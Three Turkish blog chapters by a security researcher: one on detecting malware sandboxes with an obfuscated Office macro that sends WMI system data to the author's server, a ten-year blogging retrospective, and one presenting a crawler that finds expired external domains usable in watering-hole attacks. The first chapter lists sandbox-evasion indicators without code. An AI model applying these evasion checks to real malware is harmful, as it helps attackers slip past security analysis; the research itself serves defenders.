Kum Havuzu Tespiti

8-9 yıl önce yazdığım blog yazılarında (Anti Analiz, Anti Anti-VMWare) zararlı yazılım geliştiren art niyetli kişilerin, zararlı yazılımlarının sanal sistemlerde güvenlik araştırmacıları veya güvenlik sistemleri tarafından analiz edilmesini zorlaştırma, engelleme adına çeşitli yöntemlerden faydalandıklarından bahsetmiştim.

Tabii günümüzde Virtual Desktop Infrastructure (VDI) teknolojilerinin kurumsal ortamlarda son kullanıcılar tarafından yaygın olarak kullanılmaya başlanmasıyla sanal sistemlerin çoğunlukla sunucular veya zararlı yazılım analistleri, güvenlik araştırmacıları tarafından kullanıldığı günler geride kalmaya başladı. Durum böyle olunca da zararlı yazılım geliştiricilerinden kırmızı takım (red team) çalışması gerçekleştiren etik hackerlara kadar hedef sistemleri kendi araçları ile uzaktan yönetmek ancak yakalanmak istemeyenlerin ortak kaygısı, sanal sistemlerde çalışabilen fakat analiz sisteminde çalışmayan araçlar tasarlamak ve geliştirmek olmaya başladı. Gerçekçi bir yaklaşımla analiz sisteminde çalışmayan bir aracın geliştirilmesinin mümkün olamayacağını bilen zararlı yazılım geliştiricileri, yakalandıklarını anlamak ve operasyonlarını durdurmak için VirusTotal üzerinde belli zaman aralıklarında geliştirdikleri zararlı yazılımlarının hash değerlerini aratmaktadırlar. Benzer şekilde mavi takım tarafından yakalanabileceği ihtimalini göz ardı etmeyen kırmızı takım çalışanları ise operasyonlarının sürdürülebilirliğini sağlama adına RedELK gibi projelerden faydalanmaktadırlar.

Zararlı olduğundan şüphe edilen dosyaların son kullanıcılar, güvenlik uzmanları tarafından VirusTotal, Any.Run, Hybrid Analysis, Lastline Analyst, VMRay Analyzer vb. kum havuzu sistemlerine yüklendiğini bildiğim için çok güvendiğimiz bu kum havuzu sistemlerini tespit etmenin pratikte ne kadar kolay veya zor olduğunu araştırmaya ve sizlerle paylaşmaya karar verdim.

Bunun için ilk olarak kum havuzu sistemleri ile ilgili bilgi toplamam (keşif) gerekiyordu. Kum havuza sistemine yüklenen bir yazılım, dinamik analiz esnasında hedef bir sistem (c&c) ile haberleşmeye geçtiğinde kum havuzu sistemi tarafından izlenmekte ve kayıt altına alınmakta kısaca bu sistemler üzerinde internetteki bağlantısına izin verilmektedir. Ben de bu fırsattan istifade ederek hedef işletim sistemi ile ilgili bilgi toplayan bir Microsoft Office makrosu hazırlamaya karar verdim. Makro ile bu işi yapmanın en kolay yolu özellikle hedeflenmiş saldırılarda (APT) yanal hareket (lateral movement) amacıyla kullanılan Windows Management Instrumentation (WMI)‘dan faydalanmaktı. WMI ile ilgili olarak Microsoft’un sitesinde ufak bir araştırma yaptığınızda (Win32 Provider) hedef işletim sistemi ile ilgili çok ama çok sayıda bilgi toplayabildiğinizi görebilirsiniz.

Dünyayı yeniden keşfetmeme adına Google’da ufak bir arama yaptığımda VBA ile WMI üzerinden bilgi toplamaya yarayan basit bir betik ile karşılaştım. Bu betik dosyasına Microsoft’un sayfasında işletim sistemine yönelik olan 25 adet sınıfı ekledikten sonra bu bilgileri https://www.mertsarica.com/macro.php adresine göndermesini sağladım. Antivirüs yazılımları tarafından kolayca tespit edilememesi adına da macro_pack aracı ile makroyu gizledim. (obfuscation)

Mert-Obfuscated25.xlsm dosyasını Any.Run ve VirusTotal’a yükledikten kısa bir süre sonra https://www.mertsarica.com/macro.php dosyasına istekler geldiğini gördüm. Gelen isteklere baktığımda kum havuzu analizi yapan sistemlerle ilgili önümde incelenmesi gereken epey bir bilgi olduğunu gördüm. 🙂

Bu bilgilere bakarken ilk olarak dikkatimi Select * From Win32_OperatingSystem WMI isteğinin çıktısında yer alan LastBootUpTime değeri çekti. Bu değer, işletim sisteminin en son hangi tarih ve saatte başlatıldığını belirtiyordu. Kum havuzu analizi yapan sistemler zararlı yazılımları analiz etmeden önce işletim sistemini sıfırdan, temiz hali ile başlatmaktadırlar dolayısıyla analizin gerçekleştirildiği işletim sisteminin yeniden başlatılma tarihi (LastBootUpTime) ile analiz tarihi (LocalDateTime) arasında maksimum 30 dakika gibi bir zaman farkı oluşmaktadır. Bu bilgiden de yola çıkarak yazılımın kum havuzunda analiz edildiğini varsaymak mümkümkün olabilmektedir.

Topladığım bilgilere göz atmaya devam ettiğimde LastBootUpTime ile LocalDateTime arasında 4 ay fark olduğunu fark ettiğim bir çıktı ile karşılaştım. 4 ay boyunca yeniden başlatılmayan bir son kullanıcı sistemi (Windows 7) oldukça şüphe çektiği için bu bilgileri yakından incelemeye başladım. Bilindiği üzere çoğu güvenlik araştırmacısının, zararlı yazılım analistinin hali hazırda izole, sanal bir analiz sistemi bulunmaktadır. Bu analiz sistemi zaman kaybetmeme adına her defasında yeniden başlatılmak yerine anlık görüntüden (snapshot) döndürülmektedir. Anlık görüntüden döndürülen bir işletim sisteminin de LastBootUpTime günler geçtikçe geride kalmakta ve bir zararlı yazılım analiz edildiğinde LocalDateTime ile arasındaki zaman farkı kimi zaman ayları bulabilmektedir. Bu bilginin ışığında bir de şüphelendiğim bu çıktının Windows işletim sistemindeki program gruplarına Win32_LogicalProgramGroup dair bilgileri topladığı WMI bölümüne baktığımda bu defa güvenlik araştırmacıları, zararlı yazılım analistleri tarafından sıklıkla kullanılan Immunity Debugger, Process Hacker gibi araçların sistem üzerinde yüklü olduğunu gördüm. Bu da bana Office dosyamın bir tehdit avcısı tarafından analiz edildiği bilgisini sağlamış oldu. 🙂

Son olarak bir de dikkatimi Select * from Win32_SystemBIOS WMI isteğinin çıktısı çekti. Kum havuzlarından gelen bilgilere baktığımda bir tanesinin BOCHS öykünücüsü (emulator) üzerinde bir diğerinin ise QEMU öykünücüsü üzerinde çalıştığını dolayısıyla bu iki sistemin de kum havuzu sistemine ait olduğunu anlamış oldum.

Ekim ayına kadar geçen zaman zarfında macro.php dosyasına istekte bulunan ip adreslerine baktığımda bunların da kuvvetle muhtemel VMRay, Lastline, Any.RUN, VirusTotal‘a ait kum havuzu sistemlerine ve bir tehdit avcısına ait olduğunu söyleyebilirim.

Sonuca gelecek olursam, geliştirilen bir yazılımın, kodun WMI üzerinden elde ettiği bilgiler sayesinde kum havuzu sistemi üzerinde çalıştığını anlaması pratikte zor görünmüyor dolayısıyla hem bu bilgilerden hem de kum havuzu sistemlerine ait olan ip adreslerinden, ip bloklarından faydalanan art niyetli bir kişinin veya bir kırmızı takım üyesinin kum havuzu analizini atlatmasının mümkün olabileceği asla unutulmamalıdır.

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.

Not: 22 Kasım tarihinde düzenlenen NOPcon Uluslararası Hacker Konferansı’nda bu konuyu değindiğim Kum Havuzu Tespiti başlıklı sunum dosyamı dileyenleriniz buradan indirebilirler.

12

10 Yılın Özeti

Sevgili Günlük,

1996 yılında, yaklaşık 13-14 yaşlarındayken haberlerde bilgisayar korsanları tarafından gerçekleştirilen siber saldırılar ile ilgili bir haber duyduğumda oldukça ilgimi çekmişti. Kimdi onlar? Nasıl sistemlere sızabiliyorlardı? sorularına yanıt aramaya karar vermiştim. Ben de onlar gibi olmak istiyordum fakat nasıl olabileceğime dair en ufak bir fikrim yoktu. Yıllar içinde çok sayıda teknik kitap, makale okuyarak ve pratik yaparak aklımı kurcalayan tüm sorulara yanıt bulabilmiş ve merakımı, hobimi siber güvenlik alanında mesleğe çevirebilme fırsatını yakalayabilmiştim.

Öğrendiklerini yıllarca kendine saklamış biri olarak bundan 10-11 yıl önce siber güvenlik üzerine bildiklerini paylaşan ve bol bol teknik makaleler yazan Huzeyfe ÖNAL dikkatimi çekmişti. Kendisi ile LinkedIn üzerinden iletişime geçip, eleştirel bir sohbet gerçekleştirdikten kısa bir süre sonra “Madem bu konularda bilgi birikimin olduğunu düşünüyorsun o halde neden teknik makaleler yazmıyorsun ?” diye sormuştu.

İstisnalar bir kenara, içinde bulunduğumuz coğrafyada çoğu konuda doğuştan gelen bir bilgi birikimimiz olduğunu düşünürüz. Kimi zaman bilgimiz olmadan fikrimizin doğru olduğunu ateşli bir şekilde savunuruz. Sorduklarında o iş özelinde bizden iyisi yoktur. Eleştirilerimizde sivri dil kullanmayı sever, alaycı, küçümseyici veya yıkıcı olmaktan da pek imtina etmeyiz fakat konu “Neden sen daha iyisini yapmıyorsun ?” noktasına geldiğinde bahaneleri sıralamaya başlarız. Halbuki siber güvenliğin teknik alanlarında bahanelerin ardına gizlenemezsiniz çünkü daha iyisini bildiğinizi düşünüyorsanız, yapabileceğinize inanıyorsanız teknik bir makale yazarak ve/veya sunum yaparak bildiklerinizi gözler önüne serebilirsiniz.

Şanslıysanız, eleştirinize karşılık olarak “Neden sen daha iyisini yapmıyorsun ?” sorusu ile karşılaştığınızda benim gibi bir karar alıp daha iyisini yapmak için elinizi taşın altına koyarsınız. Şanssızsanız aşağıdaki videoda olduğu gibi karşı tarafı eleştirmeden önce empati yapmayı er ya da geç tecrübe ederek öğrenirsiniz.

A YouTube element has been excluded from this version of the text. You can view it online here: http://hack4career.pressbooks.com/?p=283

Huzeyfe’nin sorusu hayatımdaki önemli dönüm noktalarından biri olmuştu. O soru sayesinde kendime meydan okuyarak bildiklerini, öğrendiklerini paylaşmaya adayan bir güvenlik araştırmacısı, blogger olmaya karar vermiştim. Blog yazarak, sunumlar yaparak bildiklerimi siber güvenlik meraklılarına aktarmama vesile olduğu için Huzeyfe ÖNAL’a 10. yılın anısına özel olarak bir teşekkür etmek isterim.

2009 yılının Kasım ayından bu yana blog yazdıkça yıllar içinde bilginin bir güç olduğuna ve paylaşıldıkça arttığına yakından tanık oldum.

10 yılda blogum sayesinde;

Güvenlik araştırmalarımdan oluşan yazılarımın sizler tarafından beğeniyle okunmaya başlaması ile 2011 yılında gelen bir davet üzerine ilk defa bir güvenlik etkinliğinde (Netsec) onlarca kişinin karşısında yapmış olduğum bir güvenlik araştırmasını sunarak bu zamana dek 30’a yakın siber güvenlik etkinliğinde konuşmacı oldum.

2012 yılında, Namık Kemal Üniversitesi Çorlu Mühendislik Fakültesi öğrencisi olan Gökmen GÜREŞÇİ‘den gelen bir davet üzerine yapmaya başladığım Sızma Testi Uzmanlığı / Etik Hacker ve Kariyer başlıklı sunumum ile bugüne kadar 40’a yakın üniversitede ofansif güvenlik alanına meraklı binlerce öğrenciye, tutkuyla bağlı olduğum mesleğimi ve bu alanda kariyerime nasıl başladığımı anlatma, yol gösterme imkanım oldu.

Katıldığım siber güvenlik etkinliklerinde yanıma gelip “Üniversitemizde yıllar önce yapmış olduğunuz sunum sayesinde siber güvenlik alanına yöneldim, teşekkür ederim.” diyen onlarca kişiyle tanıştım ve mutluluktan mest oldum. 🙂

2018 yılında Hacktrick Siber Güvenlik Konferansı‘nın akademisyenler, sektör uzmanları, yöneticiler, kamu yetkilileri gibi birçok farklı alandan önemli isimlerinden oluşan jürisi tarafından 2017 yılının en başarılı blog yazarı seçilerek onore oldum.

Çok sayıda iş teklifi aldım ve iş görüşmelerinde teknik olarak yetkinliğimi anlatmak durumunda kalmadım.

Sizlerden çok sayıda mesaj ve e-posta alarak sizlerle tanışma fırsatı yakaladım.

10 yılda blogum ile;

Bir güvenlik araştırmacısı olarak siber güvenlik alanına meraklı olan kişilere yazdıklarım, paylaştıklarım ile ışık tutmaya, genç arkadaşlara ise rol model olmaya çalıştım.

Her ay bir blog yazısı yazabilmek için disiplinli, planlı, istikrarlı ve özverili bir şekilde çalışmayı öğrendim.

Çok çok okumayı ve bol bol pratik yapmayı hayatımda bir döngü haline getirdim.

“Ne zaman kitap yazacaksınız ?” sorularına blog yazılarımdan derlediğim e-kitaplarım ile karşılık verebildim. 🙂

Teknik yazılar yazmama rağmen geniş kitlelere ulaşmayı başararak yıllar içinde blogumun en çok ziyaretçi alan Türkçe siber güvenlik kaynaklarından biri olmasını sağladım.

Analitik düşünme yeteneğimi geliştirdim.

Yukarda anlattıklarımı gerçekleştirebilmek için yıllarca disiplinli bir şekilde çok ama çok çalıştım. 15 dakikada, bir solukta okuduğunuz bir blog yazısı için belki 1 ay belki 3 ay araştırma yaptım ve çıktılarını derleyip, toplayıp her birini bir blog yazısına dökmek için özel hayatımdan yaklaşık 6-9 saatimi ayırdım.

Yıllar beni son 10 yılda yormuş, zaman anlamında acımasız davranmış olsa da severek, büyük bir keyifle yaptığım güvenlik araştırmaları ve blog yazıları için ayırdığım zamana asla ama asla üzülmedim ancak yıllar geçtikçe güvenlik araştırmalarına ayırabildiğim zaman maalesef ayda bir yazı yazmayı git gide zorlaştırmaya başladı. 10 yılın ardından kendime biraz daha şefkat göstererek vites düşürmeye, ayda bir yazdığım blog yazılarını daha geniş bir zaman aralığına yaymaya ve bu durumumu içtenlikle sizlerle paylaşmaya karar verdim.

Yıllar içinde olumlu geri bildirimleriniz ve yapıcı eleştirileriniz ile her daim motivasyonumu yüksek tutmamı sağlayıp beni güvenlik araştırması yapmaya, blog yazmaya, sunum yapmaya teşvik eden siz değerli okurlarıma minnettarım.

Yeni yazılarda görüşmek dileğiyle…

Bilgi güçtür ve paylaşıldıkça artar!

A video element has been excluded from this version of the text. You can watch it online here: http://hack4career.pressbooks.com/?p=283

13

Alan Adı Yönetimi Sarmalı

Alan adı (domain) yönetimi, sürecin iyi yönetilemediği büyük ve orta ölçekli kurumlar için kimi zaman içinden çıkalamaz bir hale gelebilmektedir. İhtiyaçları doğrultusunda iş birimi ile bilgi teknolojileri biriminin birbirinden bağımsız olarak alan adı satın alabilmeleri, bu alan adlarını yönetmeleri, yenilemeleri, web sitelerinden e-posta şablonlarına kadar bu alan adlarını müşterileriyle olan yazışmalarında, imzalarında bağlantı adresi olarak (link) kullanmaları, birimler arası en ufak bir iletişim problemi yaşanması durumunda alan adı envanterinin güncel olmamasına sebebiyet vererek art niyetli kişiler için fırsata dönüşebilmektedir.

Şöyle bir senaryo düşünelim, bir kurum tarafından yıllarca kampanyalarında kullanılmış, ana web sitesinin temasına ve ayrıca e-posta şablonuna gömülmüş bir alan adı yıllar içinde emekliye ayrılmış dolayısıyla yenilenmediği için de kaydı silinmiş olsun. Bu durumdan ilgili partilerin haberi olmadığı için de alan adı hem web sitesinde hem de müşterilere gönderilen e-postalarda bağlantı olarak yer almaya devam etmiş. Bu alan adının yıllarca kuruma ait olması sebebiyle yine zaman içinde kurumun güvenlik sistemlerinin istisna listelerine çeşitli sebeplerden dolayı eklenmiş. Düşündüğümüzde bu senaryo akla hayal ürünü gibi gelse de gerçek dünyada örneklerine fazla rastlamamız çok da düşük bir ihtimal değildir.

Özellikle su kaynağı (watering hole) saldırılarında art niyetli kişilerin amacı, hedef alınan kurumun web sitelerinde kullanılan dış bağlantı adreslerinin (external links) işaret ettiği sistemleri (links) hackleyerek dolaylı yoldan orayı ziyaret eden kurum çalışanlarını ve/veya kurumun müşterilerinin sistemlerini ele geçirmektir. Bunun için art niyetli kişilerin ihtiyaç duydukları bilgi sadece ve sadece kurumun web sitelerinde yer alan dış bağlantı adreslerinin bir listesidir. Bunlar arasından kaydı silinmiş alan adlarını tespit etmeleri durumunda kötü emellerine ulaşmak için sadece ziyaretçileri beklemek veya sosyal mühendislik saldırısı ile hedeflerini o adrese yönlendirmeleri gerekecektir.

Kurumlar için risk teşkil edebilecek bu duruma karşı yapılması gereken ilk iş alan adı yönetimi sürecini iyi bir şekilde işletmektir ancak işlerin her zaman arzu edildiği gibi ilerlemediği de bir gerçektir. Bundan yola çıkarak hem kurumlara bu alan adlarını tespit edebilmelerinde fayda sağlaması hem de güvenlik testlerinde kırmızı takım çalışanlarına yardımcı olması adına bir araç geliştirmeye karar verdim.

Bu araçtan temel olarak beklenen, hedef web sitesini taramak (crawling) , tespit edilen alan adlarının WHOIS bilgisine bakarak kayıtlı olup olmadığını kontrol etmek ve kayıtlı değil ise uyarı üretmekti. Tekerleği yeniden icat etmemek için Python ile bir web tarayıcısı hazırlamak yerine mevcutta bir yazılım iskeleti (framework) aramaya başladım ve çok geçmeden daha önce de adını duyduğum Scrapy ile karşılaştım.

Scrapy, güvenlik araştırmacıları ve sızma testi uzmanları tarafından da web sitelerini taramak, veri toplamak amacıyla sıklıkla kullanılan, hızlı, basit ve genişletilebilir açık kaynak kodlu bir yazılım iskeletidir. Kurulumu ise tek bir komutla gerçekleştirilebilecek kadar kolaydır; pip install scrapy

RedSpider adını verdiğim bu araç hedef web sitesini ziyaret ettikten sonra Scrapy yazılım iskeleti sayesinde tüm siteyi taramakta ardından tüm bağlantı adreslerini tespit edip, .tr uzantılı alan adları hariç dış bağlantı adreslerinde yer alan alan adlarını whois.com.tr web sitesi üzerinden sorgulamaktadır. Sorguların sonucunu, bulunduğu klasördeki logs.txt dosyasına yazmakta ve zaman aşımına uğramış, kayıtlı olmayan bir alan adı tespit etmesi durumunda komut satırı üzerinden uyarı vermektedir.

Aracı geliştirdikten sonra sıra test etmeye geldiğinde yıllardır her daim testlerini benim web sitem üzerinde yapmayı alışkanlık haline getirmiş BGA çalışanlarına misliyle karşılık vermek için ben de testimi BGA‘nın web sitesinde yapmaya karar verdim. 🙂 Komut satırında scrapy runspider RedSpider.py komutunu çalıştırarak teste başladıktan kısa bir süre sonra RedSpider aracı, 2011 yılından kalma bir blog yazısında geçen bilisimguvenligi11.com alan adının zaman aşımına uğrayarak kaydının silindiğini başarıyla tespit edebildi.

Test aşamasını başarıyla geçtikten sonra RedSpider aracından güvenlik uzmanlarından, kırmızı takım çalışanlarına kadar geniş bir kitlenin faydalanabileceğine inanarak sizlerle paylaşmaya karar verdim. RedSpider aracından faydalanmak isteyenler GitHub sayfam üzerinden aracı indirebilirler.

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.